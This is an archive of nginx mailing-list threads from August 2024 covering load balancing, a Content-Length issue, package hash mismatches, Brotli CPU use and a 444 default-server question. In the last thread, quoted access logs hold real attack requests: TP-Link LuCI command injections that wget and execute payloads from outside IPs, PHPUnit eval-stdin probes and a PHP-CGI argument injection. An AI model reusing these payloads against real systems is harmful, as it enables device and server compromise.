From srebecchi at kameleoon.com Fri Aug 9 20:16:24 2024 From: srebecchi at kameleoon.com (=?UTF-8?Q?S=C3=A9bastien_Rebecchi?=) Date: Fri, 9 Aug 2024 22:16:24 +0200 Subject: Questions regarding upstream Message-ID: Hello I have 2 questions 1. When is it better to use random load-balancing strategy rather than the default round-robin one (and vice-versa)? 2. Is there a way to be notified when a server is marked as down (max_fails reached during fail_timeout)? I can't see anything as such in error logs Thanks in advance Sébastien -------------- next part -------------- An HTML attachment was scrubbed... URL: From tobias_damisch at gmx.at Sun Aug 11 16:14:54 2024 From: tobias_damisch at gmx.at (Tobias Damisch) Date: Sun, 11 Aug 2024 18:14:54 +0200 Subject: nginx/1.26.1 as a reverse proxy strips the Content-Length field from response, no matter what I do Message-ID: <417da1c3-6277-44d4-9505-9648c7021f27@gmx.at> Hi everyone, first-time poster here. I am trying to run nextcloud AIO behind a nginx/1.26.1 reverse proxy. When I download a file from the nextcloud, in the answer there is no Content-Length field coming out of nginx, while it was there when nextcloud AIO sent it (I have sniffed the traffic with tcpdump on the server before it enters nginx). This causes the file download in my browser to not show download progress. I have googled and experimented with all related settings that I could find online for several days now, to no avail. If anyone could tell me how to get nginx to hand over the Content-Length, I'd be extremely grateful! My current /etc/nginx/conf.d/default.conf: -------------------------------------------------------------------- server { listen 80; server_name localhost; location /.well-known/acme-challenge/ { root /var/www/certbot; } location / { root /usr/share/nginx/html; index index.html index.htm; } } server { listen 443 ssl; server_name url.net; location / { proxy_pass http://127.0.0.1:11000; proxy_set_header X-Real-IP $remote_addr; proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; # if we comment this out, uploads fail client_max_body_size 0; # I have tried the following options, but none work. proxy_buffering off; proxy_pass_request_headers on; proxy_pass_header Content-Length; proxy_set_header X-Forwarded-Proto $scheme; gzip off; proxy_request_buffering off; chunked_transfer_encoding off; # /options I have tried # Websocket proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection $connection_upgrade; } ssl_certificate /etc/letsencrypt/live/url.net/fullchain.pem; # managed by Certbot # managed by certbot on host machine ssl_certificate_key /etc/letsencrypt/live/url.net/privkey.pem; # managed by Certbot } -------------------------------------------------------------------- My /etc/nginx/nginx.conf: -------------------------------------------------------------------- user nginx; worker_processes auto; error_log /var/log/nginx/error.log notice; pid /var/run/nginx.pid; events { worker_connections 1024; } http { include /etc/nginx/mime.types; default_type application/octet-stream; log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; access_log /var/log/nginx/access.log main; sendfile on; #tcp_nopush on; keepalive_timeout 65; #gzip on; ## # Connection header for WebSocket reverse proxy ## map $http_upgrade $connection_upgrade { default upgrade; '' close; } include /etc/nginx/conf.d/*.conf; } -------------------------------------------------------------------- From tobias_damisch at gmx.at Sun Aug 11 17:55:36 2024 From: tobias_damisch at gmx.at (Tobias Damisch) Date: Sun, 11 Aug 2024 19:55:36 +0200 Subject: nginx/1.26.1 as a reverse proxy strips the Content-Length field from response, no matter what I do In-Reply-To: <417da1c3-6277-44d4-9505-9648c7021f27@gmx.at> References: <417da1c3-6277-44d4-9505-9648c7021f27@gmx.at> Message-ID: <4509bc17-802f-497e-8d44-6b078a533120@gmx.at> I am awfully sorry for spamming this list. I just found out nextcloud starts sending the file several times, sometimes containing "Content-Length" and sometimes not. The one time it actually serves the full download, this is the header: ------------------------------------------------------------------------ HTTP/1.1 200 OK^M Content-Disposition: attachment; filename*=UTF-8''debian-12.6.0-amd64-netinst.iso; filename="debian-12.6.0-amd64-netinst.iso"^M Content-Security-Policy: default-src 'none';^M Content-Type: application/octet-stream^M Date: Thu, 08 Aug 2024 22:31:08 GMT^M Etag: ""^M Last-Modified: Sat, 20 Jul 2024 11:07:08 GMT^M Oc-Etag: ""^M Referrer-Policy: no-referrer^M Strict-Transport-Security: max-age=31536000;^M X-Accel-Buffering: no^M X-Content-Type-Options: nosniff^M X-Debug-Token: OsiAGB1U6or2N1uy10GN^M X-Frame-Options: SAMEORIGIN^M X-Permitted-Cross-Domain-Policies: none^M X-Request-Id: ^M X-Robots-Tag: noindex, nofollow^M X-Xss-Protection: 1; mode=block^M Connection: close^M Transfer-Encoding: chunked^M ------------------------------------------------------------------------- So I am back to the problem being in nextcloud aio /and not nginx/. As far as I can see nginx serves Content-Length correctly /if it gets it served itself/ *sigh* Sorry again! Tobias Am 11.08.24 um 18:14 schrieb Tobias Damisch via nginx: > Hi everyone, first-time poster here. From benjamin.ferron at siemens.com Mon Aug 12 07:21:33 2024 From: benjamin.ferron at siemens.com (FERRON, BENJAMIN) Date: Mon, 12 Aug 2024 07:21:33 +0000 Subject: nginx.org/packages: File has unexpected size (1244887 != 1246820) In-Reply-To: References: Message-ID: Hi, I've been experiencing issues fetching the sources of nginx 1.27.0 (deb) from the nginx.org mainline package repository. We have a job that collect sources for clearing and the latest nginx runs have been blocked with the following error: E: Failed to fetch http://nginx.org/packages/mainline/debian/pool/nginx/n/nginx/nginx_1.27.0.orig.tar.gz File has unexpected size (1244887 != 1246820). Mirror sync in progress? Hashes of expected file: SHA256:47cfe9d878694e553c1beff3db439dadb5fe3b30318be6062bf71d4f2e8df788 Filesize:1246820 [weak] SHA1:13f8f915966217c9de583705759f4d4f74d0bf74 [weak] MD5Sum:a50c8dbc4a84bebe6ccb00bbc8729539 [weak] This also happens with 1.26.1 on stable. 1.26.0 is OK. E: Failed to fetch http://nginx.org/packages/debian/pool/nginx/n/nginx/nginx_1.26.1.orig.tar.gz File has unexpected size (1244738 != 1246685). Mirror sync in progress? Hashes of expected file: SHA256:b2298046687cc4311b9c2d4e82507f2732b98de421099f92d35bfdf7cc2c07a7 Filesize:1246685 [weak] SHA1:bdfd2897d48a08ca9ad4294c221b465b0e804fc7 [weak] MD5Sum:f6617d1cbc861671fa4a2b916cd7a808 [weak] E: Failed to fetch some archives. I've manually downloaded the archives on two different machines in different network setups and I get the same unexpected sizes. Could it be that something went wrong when these sources were uploaded? Thanks for your help :) With best regards, Benjamin -------------- next part -------------- An HTML attachment was scrubbed... URL: From brad at wordkeeper.com Mon Aug 12 15:23:50 2024 From: brad at wordkeeper.com (Brad Patton) Date: Mon, 12 Aug 2024 15:23:50 +0000 Subject: Debugging CPU usage in Nginx Message-ID: Hi all, About 2 months ago the CPU usage on 1 of our servers started going crazy. All of a sudden, Nginx itself started using about 6x the CPU power to serve requests with no increase in traffic at all. It's a dramatic difference and it's directly attributed to Nginx, not PHP, Mariadb, or anything else. I can show you a lot of graphs and data showing the problem if needed so let me know if you would like to see more. 🙂 The only OS updates during the week prior to the issue starting were to PHP. We're currently running Nginx version 1.27.0 and we were on 1.25.5 when it started. In addition to those updates, we've run several test builds where we disabled certain modules just randomly trying to isolate the issue. I was starting to think that the issue had something to do with our configuration, even though that didn't change at the start of the issue either, but then I ran a test in a Fedora 40 container and it solved the problem. Unfortunately, I could only run that test temporarily, but the results were clear. The same exact build with the same exact configuration works fine in Fedora 40 but takes about 6x the CPU power to serve the same requests in Centos Stream 9. That makes me think there is either some bug in Centos 9 or a bug in Nginx that only happens in Centos 9. Does anyone have any thoughts on how to find out exactly what in Nginx is causing the much higher CPU usage? If not, would you like to see more information about the problem? If so, what? Thanks! Brad -------------- next part -------------- An HTML attachment was scrubbed... URL: From justdan23 at gmail.com Mon Aug 12 16:49:53 2024 From: justdan23 at gmail.com (Dan Swaney) Date: Mon, 12 Aug 2024 12:49:53 -0400 Subject: nginx.org/packages: File has unexpected size (1244887 != 1246820) In-Reply-To: References: Message-ID: I wouldn't trust a build if the hash doesn't match. I'd use the version before it which does match. Was there an issue with the earlier version? On Mon, Aug 12, 2024, 3:21 AM FERRON, BENJAMIN via nginx wrote: > Hi, > > > > I’ve been experiencing issues fetching the sources of nginx 1.27.0 (deb) > from the nginx.org mainline package repository. We have a job that > collect sources for clearing and the latest nginx runs have been blocked > with the following error: > > > > E: Failed to fetch > http://nginx.org/packages/mainline/debian/pool/nginx/n/nginx/nginx_1.27.0.orig.tar.gz > File has unexpected size (1244887 != 1246820). Mirror sync in progress? > > Hashes of expected file: > > SHA256:47cfe9d878694e553c1beff3db439dadb5fe3b30318be6062bf71d4f2e8df788 > > Filesize:1246820 [weak] > > SHA1:13f8f915966217c9de583705759f4d4f74d0bf74 [weak] > > MD5Sum:a50c8dbc4a84bebe6ccb00bbc8729539 [weak] > > This also happens with 1.26.1 on stable. 1.26.0 is OK. > > > > E: Failed to fetch > http://nginx.org/packages/debian/pool/nginx/n/nginx/nginx_1.26.1.orig.tar.gz > File has unexpected size (1244738 != 1246685). Mirror sync in progress? > Hashes of expected file: > SHA256:b2298046687cc4311b9c2d4e82507f2732b98de421099f92d35bfdf7cc2c07a7 > Filesize:1246685 [weak] SHA1:bdfd2897d48a08ca9ad4294c221b465b0e804fc7 > [weak] > MD5Sum:f6617d1cbc861671fa4a2b916cd7a808 [weak] > E: Failed to fetch some archives. > > > > I’ve manually downloaded the archives on two different machines in > different network setups and I get the same unexpected sizes. Could it be > that something went wrong when these sources were uploaded? > > > > Thanks for your help :) > > With best regards, > Benjamin > _______________________________________________ > nginx mailing list > nginx at nginx.org > https://mailman.nginx.org/mailman/listinfo/nginx > -------------- next part -------------- An HTML attachment was scrubbed... URL: From thresh at nginx.com Mon Aug 12 17:25:22 2024 From: thresh at nginx.com (Konstantin Pavlov) Date: Mon, 12 Aug 2024 10:25:22 -0700 Subject: nginx.org/packages: File has unexpected size (1244887 != 1246820) In-Reply-To: References: Message-ID: Hi Benjamin, Are you by any chance fetching the 1.27.0-1/1.26.1-1 versions of the packages and their corresponding sources? Indeed, we had a bit of a mishap when publishing them leading to the errors you're seeing: ubuntu22:~/src$ apt-get source nginx=1.27.0-1~jammy Reading package lists... Done Skipping already downloaded file 'nginx_1.27.0-1~jammy.dsc' Skipping already downloaded file 'nginx_1.27.0-1~jammy.debian.tar.xz' Need to get 1247 kB of source archives. Get:1 http://nginx.org/packages/mainline/ubuntu jammy/nginx nginx 1.27.0-1~jammy (tar) [1247 kB] Err:1 http://nginx.org/packages/mainline/ubuntu jammy/nginx nginx 1.27.0-1~jammy (tar)   File has unexpected size (1244887 != 1246820). Mirror sync in progress? ... However, they were fixed for 1.27.0-2/1.26.1-2 versions: ubuntu22:~/src$ apt-get source nginx=1.27.0-2~jammy Reading package lists... Done Need to get 1371 kB of source archives. Get:1 http://nginx.org/packages/mainline/ubuntu jammy/nginx nginx 1.27.0-2~jammy (dsc) [1504 B] Get:2 http://nginx.org/packages/mainline/ubuntu jammy/nginx nginx 1.27.0-2~jammy (tar) [1245 kB] Get:3 http://nginx.org/packages/mainline/ubuntu jammy/nginx nginx 1.27.0-2~jammy (diff) [124 kB] Fetched 1371 kB in 2s (849 kB/s) dpkg-source: info: extracting nginx in nginx-1.27.0 dpkg-source: info: unpacking nginx_1.27.0.orig.tar.gz dpkg-source: info: unpacking nginx_1.27.0-2~jammy.debian.tar.xz Note that apt-get source nginx should also be fine since it will automatically fetch the latest version too. On 12/08/2024 12:21 AM, FERRON, BENJAMIN via nginx wrote: > > Hi, > > I’ve been experiencing issues fetching the sources of nginx 1.27.0 > (deb) from the nginx.org mainline package repository. We have a job > that collect sources for clearing and the latest nginx runs have been > blocked with the following error: > > E: Failed to fetch > http://nginx.org/packages/mainline/debian/pool/nginx/n/nginx/nginx_1.27.0.orig.tar.gz > File > has unexpected size (1244887 != 1246820). Mirror sync in progress? > > Hashes of expected file: > > SHA256:47cfe9d878694e553c1beff3db439dadb5fe3b30318be6062bf71d4f2e8df788 > > Filesize:1246820 [weak] > > SHA1:13f8f915966217c9de583705759f4d4f74d0bf74 [weak] > > MD5Sum:a50c8dbc4a84bebe6ccb00bbc8729539 [weak] > > This also happens with 1.26.1 on stable. 1.26.0 is OK. > > E: Failed to fetch > http://nginx.org/packages/debian/pool/nginx/n/nginx/nginx_1.26.1.orig.tar.gz > File > has unexpected size (1244738 != 1246685). Mirror sync in progress? > Hashes of expected file: > SHA256:b2298046687cc4311b9c2d4e82507f2732b98de421099f92d35bfdf7cc2c07a7 > Filesize:1246685 [weak] SHA1:bdfd2897d48a08ca9ad4294c221b465b0e804fc7 > [weak] > MD5Sum:f6617d1cbc861671fa4a2b916cd7a808 [weak] > E: Failed to fetch some archives. > > I’ve manually downloaded the archives on two different machines in > different network setups and I get the same unexpected sizes. Could it > be that something went wrong when these sources were uploaded? > > Thanks for your help :) > > With best regards, > Benjamin > > > _______________________________________________ > nginx mailing list > nginx at nginx.org > https://mailman.nginx.org/mailman/listinfo/nginx -------------- next part -------------- An HTML attachment was scrubbed... URL: From benjamin.ferron at siemens.com Mon Aug 12 19:43:03 2024 From: benjamin.ferron at siemens.com (FERRON, BENJAMIN) Date: Mon, 12 Aug 2024 19:43:03 +0000 Subject: nginx.org/packages: File has unexpected size (1244887 != 1246820) In-Reply-To: References: Message-ID: Hi Konstantin, That was it :) The internal build process was version locked on 1.27.0~1bookworm, with 1.27.0~2bookworm the issue is solved. Thanks for you help! Kind regards, Benjamin De : Konstantin Pavlov Envoyé : lundi 12 août 2024 19:25 À : nginx at nginx.org Cc : FERRON, BENJAMIN (IT IPS SEO PCE) Objet : Re: nginx.org/packages: File has unexpected size (1244887 != 1246820) Hi Benjamin, Are you by any chance fetching the 1.27.0-1/1.26.1-1 versions of the packages and their corresponding sources? Indeed, we had a bit of a mishap when publishing them leading to the errors you're seeing: ubuntu22:~/src$ apt-get source nginx=1.27.0-1~jammy Reading package lists... Done Skipping already downloaded file 'nginx_1.27.0-1~jammy.dsc' Skipping already downloaded file 'nginx_1.27.0-1~jammy.debian.tar.xz' Need to get 1247 kB of source archives. Get:1 http://nginx.org/packages/mainline/ubuntu jammy/nginx nginx 1.27.0-1~jammy (tar) [1247 kB] Err:1 http://nginx.org/packages/mainline/ubuntu jammy/nginx nginx 1.27.0-1~jammy (tar) File has unexpected size (1244887 != 1246820). Mirror sync in progress? ... However, they were fixed for 1.27.0-2/1.26.1-2 versions: ubuntu22:~/src$ apt-get source nginx=1.27.0-2~jammy Reading package lists... Done Need to get 1371 kB of source archives. Get:1 http://nginx.org/packages/mainline/ubuntu jammy/nginx nginx 1.27.0-2~jammy (dsc) [1504 B] Get:2 http://nginx.org/packages/mainline/ubuntu jammy/nginx nginx 1.27.0-2~jammy (tar) [1245 kB] Get:3 http://nginx.org/packages/mainline/ubuntu jammy/nginx nginx 1.27.0-2~jammy (diff) [124 kB] Fetched 1371 kB in 2s (849 kB/s) dpkg-source: info: extracting nginx in nginx-1.27.0 dpkg-source: info: unpacking nginx_1.27.0.orig.tar.gz dpkg-source: info: unpacking nginx_1.27.0-2~jammy.debian.tar.xz Note that apt-get source nginx should also be fine since it will automatically fetch the latest version too. On 12/08/2024 12:21 AM, FERRON, BENJAMIN via nginx wrote: Hi, I've been experiencing issues fetching the sources of nginx 1.27.0 (deb) from the nginx.org mainline package repository. We have a job that collect sources for clearing and the latest nginx runs have been blocked with the following error: E: Failed to fetch http://nginx.org/packages/mainline/debian/pool/nginx/n/nginx/nginx_1.27.0.orig.tar.gz File has unexpected size (1244887 != 1246820). Mirror sync in progress? Hashes of expected file: SHA256:47cfe9d878694e553c1beff3db439dadb5fe3b30318be6062bf71d4f2e8df788 Filesize:1246820 [weak] SHA1:13f8f915966217c9de583705759f4d4f74d0bf74 [weak] MD5Sum:a50c8dbc4a84bebe6ccb00bbc8729539 [weak] This also happens with 1.26.1 on stable. 1.26.0 is OK. E: Failed to fetch http://nginx.org/packages/debian/pool/nginx/n/nginx/nginx_1.26.1.orig.tar.gz File has unexpected size (1244738 != 1246685). Mirror sync in progress? Hashes of expected file: SHA256:b2298046687cc4311b9c2d4e82507f2732b98de421099f92d35bfdf7cc2c07a7 Filesize:1246685 [weak] SHA1:bdfd2897d48a08ca9ad4294c221b465b0e804fc7 [weak] MD5Sum:f6617d1cbc861671fa4a2b916cd7a808 [weak] E: Failed to fetch some archives. I've manually downloaded the archives on two different machines in different network setups and I get the same unexpected sizes. Could it be that something went wrong when these sources were uploaded? Thanks for your help :) With best regards, Benjamin _______________________________________________ nginx mailing list nginx at nginx.org https://mailman.nginx.org/mailman/listinfo/nginx -------------- next part -------------- An HTML attachment was scrubbed... URL: From clima.gabrielphoto at gmail.com Tue Aug 13 04:32:27 2024 From: clima.gabrielphoto at gmail.com (Clima Gabriel) Date: Tue, 13 Aug 2024 07:32:27 +0300 Subject: Debugging CPU usage in Nginx In-Reply-To: References: Message-ID: If your Nginx is compiled with debug symbols you may see some useful info `perf top` On Mon, Aug 12, 2024, 6:24 PM Brad Patton wrote: > Hi all, > > About 2 months ago the CPU usage on 1 of our servers started going crazy. > All of a sudden, Nginx itself started using about 6x the CPU power to serve > requests with no increase in traffic at all. It's a dramatic difference > and it's directly attributed to Nginx, not PHP, Mariadb, or anything else. > I can show you a lot of graphs and data showing the problem if needed so > let me know if you would like to see more. 🙂 > > The only OS updates during the week prior to the issue starting were to > PHP. We're currently running Nginx version 1.27.0 and we were on 1.25.5 > when it started. In addition to those updates, we've run several test > builds where we disabled certain modules just randomly trying to isolate > the issue. > > I was starting to think that the issue had something to do with our > configuration, even though that didn't change at the start of the issue > either, but then I ran a test in a Fedora 40 container and it solved the > problem. Unfortunately, I could only run that test temporarily, but the > results were clear. The same exact build with the same exact configuration > works fine in Fedora 40 but takes about 6x the CPU power to serve the same > requests in Centos Stream 9. > > That makes me think there is either some bug in Centos 9 or a bug in Nginx > that only happens in Centos 9. Does anyone have any thoughts on how to > find out exactly what in Nginx is causing the much higher CPU usage? > > If not, would you like to see more information about the problem? If so, > what? > > Thanks! > Brad > > _______________________________________________ > nginx mailing list > nginx at nginx.org > https://mailman.nginx.org/mailman/listinfo/nginx > -------------- next part -------------- An HTML attachment was scrubbed... URL: From brad at wordkeeper.com Tue Aug 13 18:54:51 2024 From: brad at wordkeeper.com (Brad Patton) Date: Tue, 13 Aug 2024 18:54:51 +0000 Subject: Debugging CPU usage in Nginx In-Reply-To: References: Message-ID: Thanks so much! That was really helpful! Using that I was able to uncover that something in Brotli is causing the issue. And I've made some progress in solving it but not fully. So I have a question but let me show what I found so far. When I run "perf top" on this server, I see a lot of activity from libbrotli. It was showing about 50% activity from libbrotli to the CreateBackwardReferencesNH5 function. But we also noticed that it was calling Brotli version 1.0.9 and we had built it with 1.1.0. Looks like there was a slight bug in our linking which caused it to fall back to the OS version. I went ahead and fixed that to make it use 1.1.0 like it supposed to and that caused the activity to drop to about 25%! It's a huge drop! But it's still not where it should be for sure. For example, if I completely disable Brotli in the Nginx config and let it fall back to Gzip, the 25% activity from Brotli is replaced by about 4% activity from "deflate_medium" (pretty sure that is Gzip). Of course, Brotli is supposed to be faster than Gzip so something is still wrong here. Any thoughts on what could be causing Brotli to consume so much CPU power? ________________________________ From: nginx on behalf of Clima Gabriel Sent: Monday, August 12, 2024 11:32 PM To: nginx at nginx.org Subject: Re: Debugging CPU usage in Nginx If your Nginx is compiled with debug symbols you may see some useful info `perf top` On Mon, Aug 12, 2024, 6:24 PM Brad Patton > wrote: Hi all, About 2 months ago the CPU usage on 1 of our servers started going crazy. All of a sudden, Nginx itself started using about 6x the CPU power to serve requests with no increase in traffic at all. It's a dramatic difference and it's directly attributed to Nginx, not PHP, Mariadb, or anything else. I can show you a lot of graphs and data showing the problem if needed so let me know if you would like to see more. 🙂 The only OS updates during the week prior to the issue starting were to PHP. We're currently running Nginx version 1.27.0 and we were on 1.25.5 when it started. In addition to those updates, we've run several test builds where we disabled certain modules just randomly trying to isolate the issue. I was starting to think that the issue had something to do with our configuration, even though that didn't change at the start of the issue either, but then I ran a test in a Fedora 40 container and it solved the problem. Unfortunately, I could only run that test temporarily, but the results were clear. The same exact build with the same exact configuration works fine in Fedora 40 but takes about 6x the CPU power to serve the same requests in Centos Stream 9. That makes me think there is either some bug in Centos 9 or a bug in Nginx that only happens in Centos 9. Does anyone have any thoughts on how to find out exactly what in Nginx is causing the much higher CPU usage? If not, would you like to see more information about the problem? If so, what? Thanks! Brad _______________________________________________ nginx mailing list nginx at nginx.org https://mailman.nginx.org/mailman/listinfo/nginx -------------- next part -------------- An HTML attachment was scrubbed... URL: From pluknet at nginx.com Wed Aug 14 14:25:06 2024 From: pluknet at nginx.com (Sergey Kandaurov) Date: Wed, 14 Aug 2024 18:25:06 +0400 Subject: nginx-1.27.1 Message-ID: <48A84F8D-FEC2-4B13-8F24-2D726C78FA0F@nginx.com> Changes with nginx 1.27.1 14 Aug 2024 *) Security: processing of a specially crafted mp4 file by the ngx_http_mp4_module might cause a worker process crash (CVE-2024-7347). Thanks to Nils Bars. *) Change: now the stream module handler is not mandatory. *) Bugfix: new HTTP/2 connections might ignore graceful shutdown of old worker processes. Thanks to Kasei Wang. *) Bugfixes in HTTP/3. -- Sergey Kandaurov From pluknet at nginx.com Wed Aug 14 14:25:17 2024 From: pluknet at nginx.com (Sergey Kandaurov) Date: Wed, 14 Aug 2024 18:25:17 +0400 Subject: nginx-1.26.2 Message-ID: <53FE4A52-5FDE-4B3B-963F-1C215499FE31@nginx.com> Changes with nginx 1.26.2 14 Aug 2024 *) Security: processing of a specially crafted mp4 file by the ngx_http_mp4_module might cause a worker process crash (CVE-2024-7347). Thanks to Nils Bars. -- Sergey Kandaurov From bebe at bebehei.de Fri Aug 16 19:55:52 2024 From: bebe at bebehei.de (Benedikt Heine) Date: Fri, 16 Aug 2024 21:55:52 +0200 Subject: Questions regarding upstream In-Reply-To: References: Message-ID: <2f201502-ea5f-45e7-8315-b06b730aefde@bebehei.de> Hi, On 09.08.24 22:16, Sébastien Rebecchi wrote: > 1. When is it better to use random load-balancing strategy rather than > the default round-robin one (and vice-versa)? Random selects always one randomly, while round robin usually sends the next request to the next server in the list. Personally, I've never had a use-case where the difference between round robin or random mattered. But if you're thinking about optimising your load balancing setup, check out this article: https://samwho.dev/load-balancing/ You can see, Least connections might work much better than round robin. It also suggests PEWMA, but nginx doesn't have this sort of balancing method. > 2. Is there a way to be notified when a server is marked as down > (max_fails reached during fail_timeout)? I can't see anything as such in > error logs You can read out the status of the upstream via the shared memory zone. This is possible with lua AFAIK. You could use such a code add some sort of prometheus or general metrics endpoint and regularily query it. However there is no loggable variable, which retrieves the states and makes it processable during normal request. But there is $upstream_addr, $upstream_response_time, $upstream_connect_time and $upstream_status. In case of proxy_next_upstream getting active, you can see in their content to which upstreams the request got passed. By reading the logs and aggregating them into something like elasticsearch, I guess you could also understand _why_ nginx thought some upstreams are down. Kind Regards, Benedikt From sb at dod.no Sat Aug 24 14:59:37 2024 From: sb at dod.no (Steinar Bang) Date: Sat, 24 Aug 2024 16:59:37 +0200 Subject: Default site configured for 444 returns 404 Message-ID: <87y14mx8yu.fsf@dod.no> Platform: debian 12.6 "bookworm", amd64 nginx 1.22.1 I have the following in /etc/nginx/sites-available/default: server { listen 80 default_server; listen [::]:80 default_server; server_name _; return 444; } This succeeds in some requests using just the IP number returning 444 (which is what I want). But most of the IP number requests returns 404. Some IP number requests returns 200 OK. Does anyone have an idea why? Here's an extract from the /var/log/nginx/access.log. with requests using the IPv4 IP number of the server (starts out with a 200, then comes a couple of 444 (which is what I want), then a couple of 200, responses, and then some 444 responses, then 200, then 404, then some 444 adresses again until all starts to return 404 (server's IP address has been replaced by ""): 94.156.66.116 - - [23/Aug/2024:00:01:50 +0000] "" "GET / HTTP/1.1" 200 467 "-" "Mozilla/5.0 (Linux; U; Android 1.5; en-us; SPH-M900 Build/CUPCAKE) AppleWebKit/528.5 (ike Gecko) Version/3.1.2 Mobile Safari/525.20.1" 185.224.128.84 - - [23/Aug/2024:00:02:10 +0000] "" "GET / HTTP/1.1" 444 0 "-" "-" 185.224.128.59 - - [23/Aug/2024:00:36:59 +0000] "" "GET / HTTP/1.1" 444 0 "-" "-" 162.216.149.127 - - [23/Aug/2024:00:51:03 +0000] "" "GET / HTTP/1.1" 200 467 "-" "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multipleer day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo at paloaltonetworks.com" 154.213.185.140 - - [23/Aug/2024:01:09:01 +0000] "" "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%94.156.66.26%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60) HTTP/1.1" 444 0 "-" "Go-http-client/1.1" 185.224.128.83 - - [23/Aug/2024:01:50:28 +0000] "" "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.18.237t%7Csh%3B%60) HTTP/1.1" 444 0 "-" "Go-http-client/1.1" 185.242.226.70 - - [23/Aug/2024:01:55:09 +0000] "" "GET / HTTP/1.1" 200 467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrom324.190 Safari/537.36" 172.202.176.134 - - [23/Aug/2024:02:08:27 +0000] "" "GET /actuator/health HTTP/1.1" 404 125 "-" "Mozilla/5.0 zgrab/0.x" 199.45.154.128 - - [23/Aug/2024:02:18:44 +0000] "" "GET / HTTP/1.1" 444 0 "-" "-" 179.43.168.130 - - [23/Aug/2024:02:22:41 +0000] "" "GET /.git/config HTTP/1.1" 444 0 "-" "Mozilla/4.8 [en] (Windows NT 5.1; U)" 45.148.10.251 - - [23/Aug/2024:02:35:19 +0000] "" "GET / HTTP/1.1" 444 0 "-" "-" 154.213.185.140 - - [23/Aug/2024:02:41:31 +0000] "" "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%94.156.66.26%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60) HTTP/1.1" 444 0 "-" "Go-http-client/1.1" 75.119.129.239 - - [23/Aug/2024:02:47:51 +0000] "" "POST /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 404 153 "-" "Custom-Asyient" 75.119.129.239 - - [23/Aug/2024:02:47:52 +0000] "" "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 153 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [23/Aug/2024:02:47:52 +0000] "" "GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 153 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [23/Aug/2024:02:47:52 +0000] "" "GET /vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 153 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [23/Aug/2024:02:47:52 +0000] "" "GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 153 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [23/Aug/2024:02:47:52 +0000] "" "GET /vendor/phpunit/phpunit/LICENSE/eval-stdin.php HTTP/1.1" 404 153 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [23/Aug/2024:02:47:53 +0000] "" "GET /vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 153 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [23/Aug/2024:02:47:53 +0000] "" "GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 153 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [23/Aug/2024:02:47:53 +0000] "" "GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 153 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [23/Aug/2024:02:47:54 +0000] "" "GET /phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 153 "-" "Custom-AsyncHttpClient" From sb at dod.no Sun Aug 25 10:17:43 2024 From: sb at dod.no (Steinar Bang) Date: Sun, 25 Aug 2024 12:17:43 +0200 Subject: Default site configured for 444 returns 404 References: <87y14mx8yu.fsf@dod.no> Message-ID: <87ttf8ykhk.fsf@dod.no> >>>>> Steinar Bang : One piece of weirdness in the access.log. These two IP address requests for "/" returns 200. > 162.216.149.127 - - [23/Aug/2024:00:51:03 +0000] "" "GET / HTTP/1.1" 200 467 "-" "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multipleer day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo at paloaltonetworks.com" ... > 185.242.226.70 - - [23/Aug/2024:01:55:09 +0000] "" "GET / HTTP/1.1" 200 467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrom324.190 Safari/537.36" While this one gets the expected 444: > 199.45.154.128 - - [23/Aug/2024:02:18:44 +0000] "" "GET / HTTP/1.1" 444 0 "-" "-" What's the difference between these two I wonder? Do I have more than one default config? (I think reloading the config would have failed then? The one that returns 444 has nothing in the server column, is that significant? From noloader at gmail.com Sun Aug 25 10:28:31 2024 From: noloader at gmail.com (Jeffrey Walton) Date: Sun, 25 Aug 2024 06:28:31 -0400 Subject: Default site configured for 444 returns 404 In-Reply-To: <87ttf8ykhk.fsf@dod.no> References: <87y14mx8yu.fsf@dod.no> <87ttf8ykhk.fsf@dod.no> Message-ID: On Sun, Aug 25, 2024 at 6:18 AM Steinar Bang wrote: > > >>>>> Steinar Bang : > > One piece of weirdness in the access.log. > > These two IP address requests for "/" returns 200. > > > 162.216.149.127 - - [23/Aug/2024:00:51:03 +0000] "" "GET / HTTP/1.1" 200 467 "-" "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multipleer day to identify customers' presences on the Internet. 